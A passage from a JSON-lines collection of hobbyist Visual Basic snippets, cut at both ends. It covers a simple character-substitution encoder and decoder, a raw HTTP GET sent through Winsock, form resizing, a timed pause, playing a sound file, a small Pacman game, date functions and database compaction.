\"O\"\n varChr = \".?T\"\n Case \"P\"\n varChr = \"%<8\"\n Case \"Q\"\n varChr = \"@:a\"\n Case \"R\"\n varChr = \"&c$\"\n Case \"S\"\n varChr = \"WnY\"\n Case \"T\"\n varChr = \"{Sh\"\n Case \"U\"\n varChr = \"_%M\"\n Case \"V\"\n varChr = \"}'$\"\n Case \"W\"\n varChr = \"QlU\"\n Case \"X\"\n varChr = \"Im^\"\n Case \"Y\"\n varChr = \"l|P\"\n Case \"Z\"\n varChr = \".>#\"\n 'Special characters\n Case \"!\"\n varChr = \"\\\" & Chr(34) & \"]\"\n Case \"@\"\n varChr = \"cY,\"\n Case \"#\"\n varChr = \"x%B\"\n Case \"$\"\n varChr = \"a*v\"\n Case \"%\"\n varChr = \"'&T\"\n Case \"^\"\n varChr = \";%R\"\n Case \"&\"\n varChr = \"eG_\"\n Case \"*\"\n varChr = \"Z/e\"\n Case \"(\"\n varChr = \"rG\\\"\n Case \")\"\n varChr = \"]*F\"\n Case \"_\"\n varChr = \"@B*\"\n Case \"-\"\n varChr = \"+Hc\"\n Case \"=\"\n varChr = \"&|D\"\n Case \"+\"\n varChr = \"(:#\"\n Case \"[\"\n varChr = \"SlW\"\n Case \"]\"\n varChr = \"'QB\"\n Case \"{\"\n varChr = \"{D>\"\n Case \"}\"\n varChr = \"+c%\"\n Case \":\"\n varChr = \"(s:\"\n Case \";\"\n varChr = \"^a(\"\n Case \"'\"\n varChr = \"16.\"\n Case Chr(34)\n varChr = \"s.*\"\n Case \",\"\n varChr = \"&?W\"\n Case \".\"\n varChr = \"GPQ\"\n Case \"<\"\n varChr = \"SK*\"\n Case \">\"\n varChr = \"RL^\"\n Case \"/\"\n varChr = \"40C\"\n Case \"?\"\n varChr = \"?#9\"\n Case \"\\\"\n varChr = \"_?/\"\n Case \"|\"\n varChr = \"(_@\"\n Case \" \"\n varChr = \"=#B\"\n End Select\n \n varFin = varFin & varChr\n DoEvents\n Loop\n \n Encode = varFin\nEnd Function\nPublic Function DeCode(vText As String)\n Dim CurSpc As Integer\n Dim varLen As Integer\n Dim varChr As String\n Dim varFin As String\n CurSpc = CurSpc + 1\n varLen = Len(vText)\n Do While CurSpc <= varLen\n DoEvents\n \n varChr = Mid(vText, CurSpc, 3)\n \n \n \n Select Case varChr\n 'lower case\n Case \"coe\"\n varChr = \"a\"\n Case \"wer\"\n varChr = \"b\"\n Case \"ibq\"\n varChr = \"c\"\n Case \"am7\"\n varChr = \"d\"\n Case \"pm1\"\n varChr = \"e\"\n Case \"mop\"\n varChr = \"f\"\n Case \"9v4\"\n varChr = \"g\"\n Case \"qu6\"\n varChr = \"h\"\n Case \"zxc\"\n varChr = \"i\"\n Case \"4mp\"\n varChr = \"j\"\n Case \"f88\"\n varChr = \"k\"\n Case \"qe2\"\n varChr = \"l\"\n Case \"vbn\"\n varChr = \"m\"\n Case \"qwt\"\n varChr = \"n\"\n Case \"pl5\"\n varChr = \"o\"\n Case \"13s\"\n varChr = \"p\"\n Case \"c%l\"\n varChr = \"q\"\n Case \"w$w\"\n varChr = \"r\"\n Case \"6a@\"\n varChr = \"s\"\n Case \"!2&\"\n varChr = \"t\"\n Case \"(=c\"\n varChr = \"u\"\n Case \"wvf\"\n varChr = \"v\"\n Case \"dp0\"\n varChr = \"w\"\n Case \"w$-\"\n varChr = \"x\"\n Case \"vn&\"\n varChr = \"y\"\n Case \"c*4\"\n varChr = \"z\"\n \n 'numbers\n Case \"aq@\"\n varChr = \"1\"\n Case \"902\"\n varChr = \"2\"\n Case \"2.&\"\n varChr = \"3\"\n Case \"/w!\"\n varChr = \"4\"\n Case \"|pq\"\n varChr = \"5\"\n Case \"ml|\"\n varChr = \"6\"\n Case \"t'?\"\n varChr = \"7\"\n Case \">^s\"\n varChr = \"8\"\n Case \"<s^\"\n varChr = \"9\"\n Case \";&c\"\n varChr = \"0\"\n \n 'caps\n Case \"$)c\"\n varChr = \"A\"\n Case \"-gt\"\n varChr = \"B\"\n Case \"|p*\"\n varChr = \"C\"\n Case \"1\" & Chr(34) & \"r\"\n varChr = \"D\"\n Case \"c>:\"\n varChr = \"E\"\n Case \"@+x\"\n varChr = \"F\"\n Case \"v^a\"\n varChr = \"G\"\n Case \"]eE\"\n varChr = \"H\"\n Case \"aP0\"\n varChr = \"I\"\n Case \"{=1\"\n varChr = \"J\"\n Case \"cWv\"\n varChr = \"K\"\n Case \"cDc\"\n varChr = \"L\"\n Case \"*,!\"\n varChr = \"M\"\n Case \"fW\" & Chr(34)\n varChr = \"N\"\n Case \".?T\"\n varChr = \"O\"\n Case \"%<8\"\n varChr = \"P\"\n Case \"@:a\"\n varChr = \"Q\"\n Case \"&c$\"\n varChr = \"R\"\n Case \"WnY\"\n varChr = \"S\"\n Case \"{Sh\"\n varChr = \"T\"\n Case \"_%M\"\n varChr = \"U\"\n Case \"}'$\"\n varChr = \"V\"\n Case \"QlU\"\n varChr = \"W\"\n Case \"Im^\"\n varChr = \"X\"\n Case \"l|P\"\n varChr = \"Y\"\n Case \".>#\"\n varChr = \"Z\"\n 'Special characters\n Case \"\\\" & Chr(34) & \"]\"\n varChr = \"!\"\n Case \"cY,\"\n varChr = \"@\"\n Case \"x%B\"\n varChr = \"#\"\n Case \"a*v\"\n varChr = \"$\"\n Case \"'&T\"\n varChr = \"%\"\n Case \";%R\"\n varChr = \"^\"\n Case \"eG_\"\n varChr = \"&\"\n Case \"Z/e\"\n varChr = \"*\"\n Case \"rG\\\"\n varChr = \"(\"\n Case \"]*F\"\n varChr = \")\"\n Case \"@B*\"\n varChr = \"_\"\n Case \"+Hc\"\n varChr = \"-\"\n Case \"&|D\"\n varChr = \"=\"\n Case \"(:#\"\n varChr = \"+\"\n Case \"SlW\"\n varChr = \"[\"\n Case \"'QB\"\n varChr = \"]\"\n Case \"{D>\"\n varChr = \"{\"\n Case \"+c%\"\n varChr = \"}\"\n Case \"(s:\"\n varChr = \":\"\n Case \"^a(\"\n varChr = \";\"\n Case \"16.\"\n varChr = \"'\"\n Case \"s.*\"\n varChr = Chr(34)\n Case \"&?W\"\n varChr = \",\"\n Case \"GPQ\"\n varChr = \".\"\n Case \"SK*\"\n varChr = \"<\"\n Case \"RL^\"\n varChr = \">\"\n Case \"40C\"\n varChr = \"/\"\n Case \"?#9\"\n varChr = \"?\"\n Case \"_?/\"\n varChr = \"\\\"\n Case \"(_@\"\n varChr = \"|\"\n Case \"=#B\"\n varChr = \" \"\n End Select\n varFin = varFin & varChr\n CurSpc = CurSpc + 3\n DoEvents\n Loop\n DeCode = varFin\nEnd Function\n"},{"WorldId":1,"id":3539,"LineNumber":1,"line":"'As you can see I have a winsock control named sckURL.\n'You can change that to anythign you wish.\nWith sckURL\n .SendData \"GET /\" & tPage & \" HTTP/1.1\" & vbCrLf\n .SendData \"Accept: text/plain\" & vbCrLf\n .SendData \"Accept-Language: en-us\" & vbCrLf\n .SendData \"Accept-Encoding: gzip, deflate\" & vbCrLf\n .SendData \"User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)\" & vbCrLf\n .SendData \"Host: \" & varDom & vbCrLf\n \n .SendData \"Connection: Keep-Alive\" & vbCrLf & vbCrLf\n End With"},{"WorldId":1,"id":3546,"LineNumber":1,"line":"PLACE THE FOLLOWING CODE INTO A MODULE:\n\nPublic Function IsScreenFontSmall() As Boolean\nDim hWndDesk As Long\nDim hDCDesk As Long\nDim logPix As Long\nDim r As Long\nhWndDesk = GetDesktopWindow()\nhDCDesk = GetDC(hWndDesk)\nlogPix = GetDeviceCaps(hDCDesk, LOGPIXELSX)\nr = ReleaseDC(hWndDesk, hDCDesk)\nIf logPix = 96 Then IsScreenFontSmall = True\nExit Function\nEnd Function\n--------------------------------------------------------\nSub ResizeControls(frmName As Form, winstate As Integer)\nOn Error Resume Next\nDim designwidth As Integer, designheight As Integer, designfontsize As Integer, currentfontsize As Integer\nDim numofcontrols As Integer, a As Integer\nDim movetype As String, moveamount As Integer\n'Change the designwidth and the designheight according to the resolution that the form was designed at\ndesignwidth = 1024\ndesignheight = 768\ndesignfontsize = 96\nGetResolutionX = Screen.Width / Screen.TwipsPerPixelX\nGetResolutionY = Screen.Height / Screen.TwipsPerPixelY\n'Work out the ratio for resizing the controls\nratiox = GetResolutionX / designwidth\nratioy = GetResolutionY / designheight\n'check to see what size of fonts are being used\nIf IsScreenFontSmall Then\n currentfontsize = 96\nElse\n currentfontsize = 120\nEnd If\n'work out the ratio for the fontsize\nfontratio = designfontsize / currentfontsize\nIf ratiox = 1 And ratioy = 1 And fontratio = 1 Then Exit Sub\nnumofcontrols = frmName.Controls.Count - 1 'count the number of controls on the form\n\nIf winstate = 0 Then 'if the form isn't fullscreen then\n frmName.Height = frmName.Height * ratioy\n frmName.Width = frmName.Width * ratiox\n If frmName.Tag <> \"\" Then\n movetype = Left(frmName.Tag, 1)\n moveamount = Mid(frmName.Tag, 2, Len(frmName.Tag))\n Select Case movetype\n Case \"L\"\n frmName.Left = frmName.Left + moveamount\n Case \"T\"\n frmName.Top = frmName.Top + moveamount\n Case \"H\"\n frmName.Height = frmName.Height + moveamount\n Case \"W\"\n frmName.Width = frmName.Width + moveamount\n End Select\n End If\nElseIf winstate = 2 Then 'otherwise if it is fullscreen then\n frmName.Width = Screen.Width\n frmName.Height = Screen.Height\n frmName.Top = 0\n frmName.Left = 0\nEnd If\nFor a = 0 To numofcontrols 'loop through each control\n If frmName.Controls(a).Font.Size <= 8 And ratiox < 1 Then\n frmName.Controls(a).Font.Name = \"Small Fonts\"\n frmName.Controls(a).Font.Size = frmName.Controls(a).Font.Size - 0.5\n Else\n frmName.Controls(a).Font.Size = frmName.Controls(a).Font.Size * ratiox\n End If\n If TypeOf frmName.Controls(a) Is Line Then\n frmName.Controls(a).X1 = frmName.Controls(a).X1 * ratiox\n frmName.Controls(a).Y1 = frmName.Controls(a).Y1 * ratioy\n frmName.Controls(a).X2 = frmName.Controls(a).X2 * ratiox\n frmName.Controls(a).Y2 = frmName.Controls(a).Y2 * ratioy\n \n ElseIf TypeOf frmName.Controls(a) Is PictureBox Then\n frmName.Controls(a).Width = frmName.Controls(a).Width * ratiox\n frmName.Controls(a).Height = frmName.Controls(a).Height * ratioy\n frmName.Controls(a).Top = frmName.Controls(a).Top * ratioy\n frmName.Controls(a).Left = frmName.Controls(a).Left * ratiox\n frmName.Controls(a).ScaleHeight = frmName.Controls(a).ScaleHeight * ratioy\n frmName.Controls(a).ScaleWidth = frmName.Controls(a).ScaleWidth * ratiox\n ElseIf TypeOf frmName.Controls(a) Is Toolbar Then\n frmName.Controls(a).ButtonHeight = frmName.Controls(a).ButtonHeight * ratioy\n frmName.Controls(a).ButtonWidth = frmName.Controls(a).ButtonWidth * ratiox\n frmName.Controls(a).Width = frmName.Controls(a).Width * ratiox\n frmName.Controls(a).Height = frmName.Controls(a).Height * ratioy\n frmName.Controls(a).Top = frmName.Controls(a).Top * ratioy\n frmName.Controls(a).Left = frmName.Controls(a).Left * ratiox\n ElseIf TypeOf frmName.Controls(a) Is MSFlexGrid Then\n frmName.Controls(a).ColWidth = frmName.Controls(a).ColWidth * ratiox\n frmName.Controls(a).RowHeight = frmName.Controls(a).RowHeight * ratioy\n frmName.Controls(a).Width = frmName.Controls(a).Width * ratiox\n frmName.Controls(a).Height = frmName.Controls(a).Height * ratioy\n frmName.Controls(a).Top = frmName.Controls(a).Top * ratioy\n frmName.Controls(a).Left = frmName.Controls(a).Left * ratiox\n Else\n frmName.Controls(a).Width = frmName.Controls(a).Width * ratiox\n frmName.Controls(a).Height = frmName.Controls(a).Height * ratioy\n frmName.Controls(a).Top = frmName.Controls(a).Top * ratioy\n frmName.Controls(a).Left = frmName.Controls(a).Left * ratiox\n End If\n If frmName.Controls(a).Tag <> \"\" Then\n movetype = Left(frmName.Controls(a).Tag, 1)\n moveamount = Mid(frmName.Controls(a).Tag, 2, Len(frmName.Controls(a).Tag))\n Select Case movetype\n Case \"L\"\n frmName.Controls(a).Left = frmName.Controls(a).Left + moveamount\n Case \"T\"\n frmName.Controls(a).Top = frmName.Controls(a).Top + moveamount\n Case \"H\"\n frmName.Controls(a).Height = frmName.Controls(a).Height + moveamount\n Case \"W\"\n frmName.Controls(a).Width = frmName.Controls(a).Width + moveamount\n End Select\n End If\nNext a\nIf fontratio <> 1 Then\n If winstate = 0 Then\n frmName.Height = frmName.Height * fontratio\n frmName.Width = frmName.Width * fontratio\n If frmName.Tag <> \"\" Then\n movetype = Left(frmName.Tag, 1)\n moveamount = Mid(frmName.Tag, 2, Len(frmName.Tag))\n Select Case movetype\n Case \"L\"\n frmName.Left = frmName.Left + moveamount\n Case \"T\"\n frmName.Top = frmName.Top + moveamount\n Case \"H\"\n frmName.Height = frmName.Height + moveamount\n Case \"W\"\n frmName.Width = frmName.Width + moveamount\n End Select\n End If\n ElseIf winstate = 2 Then\n frmName.Width = Screen.Width\n frmName.Height = Screen.Height\n frmName.Top = 0\n frmName.Left = 0\n End If\n For a = 0 To numofcontrols\n If frmName.Controls(a).Font.Size <= 8 And fontratio < 1 Then\n frmName.Controls(a).Font.Name = \"Small Fonts\"\n frmName.Controls(a).Font.Size = frmName.Controls(a).Font.Size - 0.5\n Else\n frmName.Controls(a).Font.Size = frmName.Controls(a).Font.Size * fontratio\n End If\n If TypeOf frmName.Controls(a) Is Line Then\n frmName.Controls(a).X1 = frmName.Controls(a).X1 * fontratio\n frmName.Controls(a).Y1 = frmName.Controls(a).Y1 * fontratio\n frmName.Controls(a).X2 = frmName.Controls(a).X2 * fontratio\n frmName.Controls(a).Y2 = frmName.Controls(a).Y2 * fontratio\n \n ElseIf TypeOf frmName.Controls(a) Is PictureBox Then\n frmName.Controls(a).Width = frmName.Controls(a).Width * fontratio\n frmName.Controls(a).Height = frmName.Controls(a).Height * fontratio\n frmName.Controls(a).Top = frmName.Controls(a).Top * fontratio\n frmName.Controls(a).Left = frmName.Controls(a).Left * fontratio\n frmName.Controls(a).ScaleHeight = frmName.Controls(a).ScaleHeight * fontratio\n frmName.Controls(a).ScaleWidth = frmName.Controls(a).ScaleWidth * fontratio\n ElseIf TypeOf frmName.Controls(a) Is Toolbar Then\n frmName.Controls(a).ButtonHeight = frmName.Controls(a).ButtonHeight * fontratio\n frmName.Controls(a).ButtonWidth = frmName.Controls(a).ButtonWidth * fontratio\n frmName.Controls(a).Width = frmName.Controls(a).Width * fontratio\n frmName.Controls(a).Height = frmName.Controls(a).Height * fontratio\n frmName.Controls(a).Top = frmName.Controls(a).Top * fontratio\n frmName.Controls(a).Left = frmName.Controls(a).Left * fontratio\n ElseIf TypeOf frmName.Controls(a) Is MSFlexGrid Then\n frmName.Controls(a).ColWidth = frmName.Controls(a).ColWidth * fontratio\n frmName.Controls(a).RowHeight = frmName.Controls(a).RowHeight * fontratio\n frmName.Controls(a).Width = frmName.Controls(a).Width * fontratio\n frmName.Controls(a).Height = frmName.Controls(a).Height * fontratio\n frmName.Controls(a).Top = frmName.Controls(a).Top * fontratio\n frmName.Controls(a).Left = frmName.Controls(a).Left * fontratio\n Else\n frmName.Controls(a).Width = frmName.Controls(a).Width * fontratio\n frmName.Controls(a).Height = frmName.Controls(a).Height * fontratio\n frmName.Controls(a).Top = frmName.Controls(a).Top * fontratio\n frmName.Controls(a).Left = frmName.Controls(a).Left * fontratio\n End If\n Next a\nEnd If\nEnd Sub\nPLACE THE FOLLOWING CODE INTO THE FORM_LOAD EVENT OF THE FORM:\nResizeControls Me, x (replace the x with a 2 for a fullscreen form or a 0 for any other size of form.)\n"},{"WorldId":1,"id":3552,"LineNumber":1,"line":"'=========================\n'Paste in a BAS module\n'=========================\nOption Explicit\nPublic exitPause As Boolean\nPublic Function timedPause(secs As Long)\n Dim secStart As Variant\n Dim secNow As Variant\n Dim secDiff As Variant\n Dim Temp%\n \n exitPause = False 'this is our early way out out of the pause\n \n secStart = Format(Now(), \"mm/dd/yyyy hh:nn:ss AM/PM\") 'get the starting seconds\n \n Do While secDiff < secs\n If exitPause = True Then Exit Do\n secNow = Format(Now(), \"mm/dd/yyyy hh:nn:ss AM/PM\") 'this is the current time and date at any itteration of the loop\n secDiff = DateDiff(\"s\", secStart, secNow) 'this compares the start time with the current time\n Temp% = DoEvents\n Loop \nEnd Function\n'=============================\n'Paste in a form with 1 command button\n'=============================\nOption Explicit\nPrivate Sub Command1_Click()\n \n timedPause 25\n \n MsgBox \"Time is up buddy!\"\nEnd Sub"},{"WorldId":1,"id":3564,"LineNumber":1,"line":"***************************************************************\n* http://developer.ecorp.net *\n***************************************************************\n\nAuhor: EM Dixson\nThis code shows how to play a wave file from VB.\nCall the sub like this:\n PlaySound \"C:\\MyFolder\\MySound.wav\"\nNote that if the file is not found the windows default sound \nwill be played instead.\n\nPaste the following code into a module:\n'//*********************************//'\nPublic Declare Function sndPlaySound Lib \"winmm\" Alias \"sndPlaySoundA\" (ByVal lpszSoundName As String, ByVal uFlags As Long) As Long\nPublic Sub PlaySound(strFileName As String)\n sndPlaySound strFileName, 1\nEnd Sub\n"},{"WorldId":1,"id":3565,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3568,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3571,"LineNumber":1,"line":"' Pacman sourcecode\n'\n' Ever played pacman? Well here is a sourcecode on making it.\n'\n' Needs only a timer set on interupt x (any difficullty!)\n' \n' Paste the code in your new project or HTML project and offer your\n' viewers one of the most enjoyable games ever!!\n'\n' Coded by R.b.v.Etten in 1999 \n'\n' \n' Note on graphics!!! \n' \n' Since I have coded it using only the line command the game lookes a little bit\n' boring. If you look at the code more closely (line!) you could change it to bitblt/paint\n' and add some real pacman graphics.\nDim lvl(281) 'level data. Plus 1 !!\nDim lvlb(281) 'level data. Plus 1 !!\nDim px As Integer 'positie x\nDim py As Integer 'positie y\nDim ox As Integer 'buffer positie\nDim oy As Integer 'buffer positie\nDim score\nDim levens\n'\nDim sx(2) As Integer\nDim sy(2) As Integer\nDim sox(2) As Integer\nDim soy(2) As Integer\nDim sbuf(2) As Integer\nDim dire(2) As Integer\n'\nDim lvlv As Integer\n' \n'\n'\nPrivate Sub Form_Load()\nScaleMode = 3 'pixels dus\npx = 2: ox = px 'startpositie x\npy = 1: oy = py ''startpositie y\n'\nFor i = 0 To 2\nsx(i) = 9: sox(i) = sx(i)\nsy(i) = 6: soy(i) = sy(i): dire(i) = 4\nsbuf(i) = 0\nNext\n'\n'\nIf lvlv = 0 Then lvlv = 1 Else lvlv = 0\nCall leeslvl(lvlv)\nscore = 0 'zet de score op 0\nlevens = 3 'zet aantal levens op 3\nCall Form_Resize\nTimer1.Enabled = True\nEnd Sub\n'beweging van pac man via het toetsen bord\nPrivate Sub Form_KeyDown(KeyCode As Integer, Shift As Integer)\nox = px: oy = py 'neem ff de huidige lokatie op\nSelect Case KeyCode\n Case vbKeyUp: If py > 0 Then py = py - 1: Call doemove\n Case vbKeyDown: If py < 13 Then py = py + 1: Call doemove\n Case vbKeyLeft: If px > 1 Then px = px - 1: Call doemove\n Case vbKeyRight: If px < 20 Then px = px + 1: Call doemove\nEnd Select\nEnd Sub\n\nPrivate Sub doemove()\nposa = ox + (oy * 20) 'kijk op het veld\nposb = px + (py * 20) 'kijk op het veld\nIf lvl(posb) = 1 Then px = ox: py = oy: Exit Sub 'als muurtje dan exit\nCall dscore(posb)\nlvl(posb) = 4: lvl(posa) = 0: lvlb(posa) = 0 ' nieuwe positie even invoeren en oude uit...\nCall Form_Resize\nEnd Sub\nPrivate Sub dscore(pos)\nIf pos = 0 = False Then\nIf lvl(pos) = 2 Then score = score + 10 'pilletje 1 +10\nIf lvl(pos) = 3 Then score = score + 20 ',,,,\nEnd If\n'\na = \"Simplepacman Score : \" + Str(score) 'toon de score in de balk\na = a + \" \"\na = a + \"Levens : \"\na = a + Str(levens) + \" \"\nIf Form1.Caption = a = False Then Form1.Caption = a\nEnd Sub\n'\nPrivate Sub spookje(z)\nReDim del(8) As Integer\nDim i As Integer\nDim a As Integer\nsox(z) = sx(z): soy(z) = sy(z) ' oude ypos\n'\ndel(0) = lvl((sx(z)) + (sy(z) - 1) * 20)\ndel(1) = lvl((sx(z) - 1) + sy(z) * 20)\ndel(2) = lvl((sx(z) + 1) + sy(z) * 20)\ndel(3) = lvl(sx(z) + (sy(z) + 1) * 20)\n'\nFor i = 0 To 3\nIf del(i) = 1 = False Then a = a + 1\nNext\nIf a = 3 Then dire(z) = 4\nRandomize Timer\nIf dire(z) = 4 Then\nSelect Case Fix(Rnd * 5) 'gebaseerd op random beweging\n Case 1\n If del(0) = 1 = False Then dire(z) = 0\n Case 2\n If del(1) = 1 = False Then dire(z) = 1\n Case 3\n If del(2) = 1 = False Then dire(z) = 2\n Case 4\n If del(3) = 1 = False Then dire(z) = 3\n End Select\nEnd If\npop:\n'\nSelect Case dire(z)\nCase 0: sy(z) = sy(z) - 1\nCase 1: sx(z) = sx(z) - 1\nCase 2: sx(z) = sx(z) + 1\nCase 3: sy(z) = sy(z) + 1\nEnd Select\n'\nposa = sox(z) + (soy(z) * 20) 'kijk op het veld\nposb = sx(z) + sy(z) * 20 'kijk op het veld\nIf lvl(posb) = 1 Then sx(z) = sox(z): sy(z) = soy(z): dire(z) = 4: Exit Sub\n\nIf lvl(posb) = 4 Then lvl(posb) = 0: Call live 'col detection\nIf lvl(posa) = 4 Then lvl(posa) = 0: Call live\nlvl(posa) = sbuf(z) 'kopieer nieuwe positie in sbuf\nsbuf(z) = lvlb(posb) 'kopieer nieuwe positie in sbuf\nlvl(posb) = 5 'plaats spookje in nieuwe positie\nEnd Sub\nPrivate Sub live()\nlevens = levens - 1 ' tel de levens af\npx = 3: ox = px 'herstel start positie\npy = 1: oy = py ',,,,,,\nIf levens = 0 Then Timer1.Enabled = False: Call Form_Load 'levens op dan nieuw spel\nCall dscore(0) 'print info in balk\nEnd Sub\n' Level draw. Grafisch gedeelte. Blitten kan ook!!\n'\nPrivate Sub Form_MouseUp(Button As Integer, Shift As Integer, X As Single, Y As Single)\nn = 1\nFor ay = 1 To 14\n For ax = 2 To 21\n If lvl(n) = 1 Then k = RGB(0, 0, 0) 'muurtje\n If lvl(n) = 0 Then k = RGB(255, 255, 255) 'open vlak\n If lvl(n) = 2 Then k = RGB(0, 0, 255) 'Pilletje\n If lvl(n) = 3 Then k = RGB(0, 255, 0) 'ander pilletje\n If lvl(n) = 4 Then k = RGB(255, 255, 0) 'Pac man\n If lvl(n) = 5 Then k = RGB(255, 0, 0) 'spookje\n Line (ax * 20, ay * 20)-((ax * 20) + 18, (ay * 20) + 18), k, BF\n n = n + 1\n Next\nNext\nEnd Sub\n\nPrivate Sub leeslvl(n)\n'Read level into the array. Edit the a=a+ string to change the level\n'experiment and see the effect.\nSelect Case n\nCase 0\n a = \"11111111111111111111\"\na = a + \"13222222222222222231\"\na = a + \"12121111111111112121\"\na = a + \"12222222222222222221\"\na = a + \"12121211111111212121\"\na = a + \"12121212222221212121\"\na = a + \"12121212222221212121\"\na = a + \"12121211122111212121\"\na = a + \"12121222222222212121\"\na = a + \"12121211111111212121\"\na = a + \"12222222222222222221\"\na = a + \"12121111111111112121\"\na = a + \"13222222222222222231\"\na = a + \"11111111111111111111\"\nCase 1\n a = \"11111111111111111111\"\na = a + \"12222222222222222221\"\na = a + \"12111111111111111121\"\na = a + \"12132222222222223121\"\na = a + \"12121111112111112121\"\na = a + \"12121222222222212121\"\na = a + \"12221211111111212221\"\na = a + \"12121212222221212121\"\na = a + \"12121222222222212121\"\na = a + \"12121111112111112121\"\na = a + \"12132222222222223121\"\na = a + \"12111111111111111121\"\na = a + \"13222222222222222221\"\na = a + \"11111111111111111111\"\nEnd Select\nFor i = 1 To 281 'lees de inhoud van a naar de lvl() dim\n lvl(i) = Mid(a, i, 1)\n lvlb(i) = Mid(a, i, 1)\nNext\nEnd Sub\nPrivate Sub Timer1_Timer() ' the timer contains the AI (ghosts,that pose the threat in the game)\nFor i = 0 To 2: Call spookje(i): Next\nCall Form_Resize\nEnd Sub\nPrivate Sub Form_Resize() \nCall Form_MouseUp(0, 0, 0, 0) 'hertekenen maar\nEnd Sub\n"},{"WorldId":1,"id":3573,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3579,"LineNumber":1,"line":"'*************************************************\n'*DATEFUNCTIONS *\n'* *\n'*By: Jan Botha *\n'*eMail: c03jabot@prg.wcape.school.za *\n'*Date: Sunday, 19 September 1999 *\n'*Inspired by David I Schneider's book, *\n'* \"An Introduction to Programming using *\n'* Visual Basic 5.0 - Third Edition\" *\n'*I only got one of the formulas out from his *\n'*book as well as the idea. As I programmed on *\n'*I got ideas for other functions too. *\n'*So here they are! *\n'*************************************************\nOption Explicit\n'This returns the day of the week of a certain date.\n'It will only work with dates after 1582, because\n'the calendar we use today was introduced then\nPublic Function DayOfWeek(ByVal Day As Integer, ByVal Month As Integer, ByVal Year As Integer) As String\n Dim w As Integer, wQuotient, wRemainder, int6\n \n If Month = 1 Then\n Month = 13\n Year = Year - 1\n ElseIf Month = 2 Then\n Month = 14\n Year = Year - 1\n End If\n \n int6 = 0.6 * (Month + 1)\n int6 = Int(int6)\n 'I got this formula from David I Schneider's book\n '\"An Introduction to Programming using Visual Basic 5.0 - Third Edition\"\n w = Day + 2 * Month + int6 + Year + Int(Year / 4) - Int(Year / 100) + Int(Year / 400) + 2\n wQuotient = Int(w / 7)\n DayOfWeek = DayString(w - (wQuotient * 7))\nEnd Function\n'See what day of the year it is\nPublic Function DayOfYear(ByVal Day As Integer, ByVal Month As Integer, ByVal LeapYear As Boolean) As Integer\n Dim i As Integer, fDay As Integer\n For i = 1 To Month - 1\n fDay = fDay + DaysInMonth(i, LeapYear)\n Next\n fDay = fDay + Day\n DayOfYear = fDay\nEnd Function\n'This function check how many days there are between\n'two certain dates\nPublic Function DaysBetween(ByVal startDay As Integer, ByVal startMonth As Integer, ByVal startYear As Integer, ByVal endDay As Integer, ByVal endMonth As Integer, ByVal endYear As Integer) As Long\n Dim startIsLeap As Boolean, endIsLeap As Boolean\n Dim daysToEnd As Integer, fDays As Integer\n startIsLeap = IsLeapYear(startYear)\n endIsLeap = IsLeapYear(endYear)\n \n startDay = DayOfYear(startDay, startMonth, startIsLeap)\n endDay = DayOfYear(endDay, endMonth, endIsLeap)\n \n If startYear = endYear Then\n DaysBetween = endDay - startDay\n Exit Function\n End If\n \n daysToEnd = DaysInYear(startYear) - startDay\n \n For i = startYear + 1 To endYear - 1\n fDays = fDays + DaysInYear(i)\n Next\n \n fDays = fDays + daysToEnd + endDay\n DaysBetween = fDays\n \nEnd Function\nPublic Function DaysInMonth(ByVal Month As Integer, ByVal LeapYear As Boolean) As Integer\n Select Case Month\n Case 1, 3, 5, 7, 8, 10, 12: DaysInMonth = 31\n Case 2\n If LeapYear Then\n DaysInMonth = 29\n Else\n DaysInMonth = 28\n End If\n Case 4, 6, 9, 11: DaysInMonth = 30\n End Select\nEnd Function\n'Use this function to determine how many days there are in a year\nPublic Function DaysInYear(ByVal Year As Integer) As Integer\n 'leap years have 366 days and other years have\n '365. simple\n If IsLeapYear(Year) Then\n DaysInYear = 366\n Else\n DaysInYear = 365\n End If\nEnd Function\nPrivate Function DayString(ByVal Weekday As Integer)\n 'this function is used by the DayOfWeek function only\n Select Case Weekday\n Case 0: DayString = \"Saturday\"\n Case 1: DayString = \"Sunday\"\n Case 2: DayString = \"Monday\"\n Case 3: DayString = \"Tuesday\"\n Case 4: DayString = \"Wednesday\"\n Case 5: DayString = \"Thursday\"\n Case 6: DayString = \"Friday\"\n End Select\nEnd Function\n' Use this function to determine if a certain year is a leap year.\nPublic Function IsLeapYear(ByVal Year As Integer) As Boolean\n If Year Mod 4 = 0 Then\n IsLeapYear = True\n If Year Mod 100 = 0 And Year Mod 400 <> 0 Then\n IsLeapYear = False\n End If\n End If\n 'all years divisible by 4 are leap years with the exception\n 'of years that are divisible by 100 and not by 400\nEnd Function\nPlease email me comments, suggestions and especially BUGS!\nc03jabot@prg.wcape.school.za"},{"WorldId":1,"id":3580,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3582,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3592,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3596,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3600,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":3601,"LineNumber":1,"line":"Public Function CompactDatabase(strDatabaseName As String) As Boolean\nOn Error GoTo Err_CompactDatabase\nDim strPath As String\nDim strPath1 As String\nDim strPathSize As String\nDim strPathSize2 As String\nScreen.MousePointer = vbHourglass\n'Save Paths for Database\nstrPath = App.Path & \"\\\" & strDatabaseName\nstrPath1 = App.Path & \"\\\" & \"BackupOf\" & strDatabaseName\n'Repair Database\nDBEngine.RepairDatabase strPath\n'Get Size of File Before Compacting\nstrPathSize = GetFileSize(strPath)\n'Kill the file if it exists\nIf Dir(strPath1) <> \"\" Then Kill strPath1\n'Compact Database to New Name\nDBEngine.CompactDatabase strPath, strPath1\n''Kill the file if it exists\nIf Dir(strPath) <> \"\" Then Kill strPath\n'Compact back to original Name\nDBEngine.CompactDatabase strPath1, strPath\n'Kill the file, no need to save it\nIf Dir(strPath1) <> \"\" Then Kill strPath1\n'Get Size of File After Compacting\nstrPathSize2 = GetFileSize(strPath)\nCompactDatabase = True\n'Display the Summary\nMsgBox UCase(strDatabaseName) & \" compacted successfully.\" _\n & vbNewLine & vbNewLine & \"Size before compacting:\" & vbTab & strPathSize _\n & vbNewLine & \"Size after compacting:\" & vbTab & strPathSize2, vbInformation, \"Compact Successful\"\nErr_CompactDatabase:\n Select Case Err\n Case 0\n Case Else\n MsgBox Err & \": \" & Error, 